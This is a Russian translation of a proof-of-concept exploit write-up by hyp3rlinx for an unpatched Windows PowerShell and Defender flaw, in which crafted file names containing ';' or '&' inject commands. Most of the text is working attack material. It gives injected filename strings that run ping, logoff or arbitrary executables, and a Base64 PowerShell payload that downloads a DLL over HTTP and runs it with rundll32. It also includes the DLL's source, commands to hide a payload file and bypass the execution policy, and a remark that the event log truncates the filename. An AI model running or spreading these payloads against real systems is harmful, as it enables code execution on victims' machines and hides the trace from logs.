
Неисправленный POC выполнения кода через имя файла в Windows PowerShell
Имя файла Windows PowerShell и API Defender Anti-Malware — POC выполнения кода
Обнаружено: John Page (aka hyp3rlinx), 2019, пересмотрено в 2023
Обновлено 24 декабря 2023 г.
Обход препятствия с одинарными кавычками в PowerShell для выполнения кода и бонус — сбой журнала событий Windows!
Точка с запятой и друг "&" — оператор объединяют усилия для возможностей произвольного выполнения кода.
Запускаем нежелательное вредоносное ПО:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
ИЛИ
Сканирование Windows Defender Anti-malware:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Если Malware.exe находится в том же каталоге, представьте это как drive-by загрузку.
Сбой журнала событий Windows: событие PowerShell с ID 403 не регистрирует истинное имя файла из-за усечения:
Фрагмент журнала PowerShell:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
Вызвать ping cmd? Почему бы и нет
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Выйти из сеанса жертвы:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
Обновлено: 7 декабря 2023 г., добавлен вектор через командную строку (CL) и API Windows Defender, см. ниже:
Поскольку это всё ещё работает, я стряхнул пыль и внёс небольшие улучшения:
Впервые сообщено в Microsoft ещё в 2019 году, но на момент написания остаётся неисправленным.
Удалённое выполнение кода через специально созданное имя файла.
Проблема связана с точкой с запятой ";": мы можем декодировать команду Base64 и выполнить её прямо из имени PS1-файла или просто выполнять команды.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
Вызывайте команды сразу
"Testing;saps (gc -) PoC;.ps1"
Векторы: двойной щелчок, перетаскивание на ярлык PowerShell
Использует альтернативные сокращённые команды PowerShell, такие как "saps", "gc" — запуск процесса, get-content и т.д.
Создайте троянский PS1-файл, который попытается загрузить и выполнить удалённую DLL с именем "1.d"
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
Код DLL:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
Дважды щёлкните троянский PS1-файл.
Создайте PS1-файл с именем, включающим saps "запуск процесса" и gc "get-content"; он прочитает команды из скрытого файла.
"Test;saps (gc -) PoC;.ps1"
Создайте скрытый файл: attrib +s +h "-"
Дважды щёлкните или перетащите.
a) Файлы PowerShell .ps1 должны быть настроены на открытие с помощью PowerShell в качестве программы по умолчанию
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) Пользователь должен дважды щёлкнуть, запустить из командной строки или перетащить вредоносный PS1-скрипт с таким именем
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

Обновление: PowerShell API Microsoft Defender Anti-Malware — произвольное выполнение кода.
Microsoft Defender Anti-Malware и/или API PowerShell могут привести к выполнению произвольного кода. Например, сканирование каталога, ярлыка .lnk или даже несуществующего объекта может привести к выполнению непредусмотренного кода. Этот вектор основан на моём предыдущем отчёте и последующем проекте PSTrojanFile.
Требования:
Примеры:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe находится на рабочем столе)
Создайте каталог ";saps Test"; Test.exe, Test.cmd и т.д. находятся в том же пути командной строки
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Создайте каталог с точкой с запятой и поместите PE-файл с именем doom.exe в тот же путь.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
И последнее, но не менее важное:
При получении хеша файла в PowerShell происходит выход из системы :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08